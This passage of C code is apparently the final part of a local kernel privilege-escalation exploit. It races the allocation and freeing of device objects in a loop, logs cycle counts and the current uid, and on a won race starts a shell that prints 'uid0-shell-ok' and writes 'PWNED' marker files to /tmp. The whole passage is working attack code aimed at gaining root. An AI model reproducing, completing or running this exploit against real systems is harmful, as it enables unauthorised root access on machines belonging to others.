					if (npool > 64)
						pool_close_n(1);
					usleep(60);
					if (now_us() >= tend)
						stream_on = 0;
				}
				close(hb[1]);
			} else {
				usleep(win_ms * 1000);
			}
		}
		stream_on = 0;
		ann_active = 0;

		if (win)
			break;

		/* c. QUIET DRAIN: with everything stopped the magazines
		 * are still pinned full; the core finishes the remaining
		 * destroy backlog under saturation, so even the last
		 * event cdevs kfree instead of mag-recycling stale. */
		usleep(8000);

		/* d. TOP-UP: reopen to the fixed single-zone level. */
		pool_open_n(250 - npool > 0 ? 250 - npool : 0);

		if (n_open_fail > 4096)
			break;
		if (n_cycles % 25 == 0) {
			printf("[%5.1fs] cycles=%ld events=%ld pool=%d "
			    "openfail=%ld uid=%d\n",
			    (now_us() - t_start) / 1e6, n_cycles, n_events,
			    npool, n_open_fail, getuid());
			fflush(stdout);
		}
	}

	printf("race done (%s after %.1fs, cycles=%ld events=%ld "
	    "storms=%ld)\n", win ? "WIN" : "timeout",
	    (now_us() - t_start) / 1e6, n_cycles, n_events, n_storm_closes);
	fflush(stdout);

	if (win) {
		stop = 1;
		for (i = 0; i < nth; i++) {
			void *rv;
			struct timespec ts = { 0, 50 * 1000 * 1000 };
			pthread_timedjoin_np(th[i], &rv, &ts);
		}
		win_shutdown();
		execl("/bin/sh", "sh", "-c",
		      "id; echo uid0-shell-ok; "
		      "id > /tmp/df3017.id; "
		      "echo PWNED-DF3017-CHAIN > /tmp/df3017.root", NULL);
		/* not reached on success */
	}
	stop = 1;
	for (i = 0; i < nth; i++) {
		void *rv;
		struct timespec ts = { 0, 50 * 1000 * 1000 };
		pthread_timedjoin_np(th[i], &rv, &ts);
	}
	return win ? 0 : 1;
}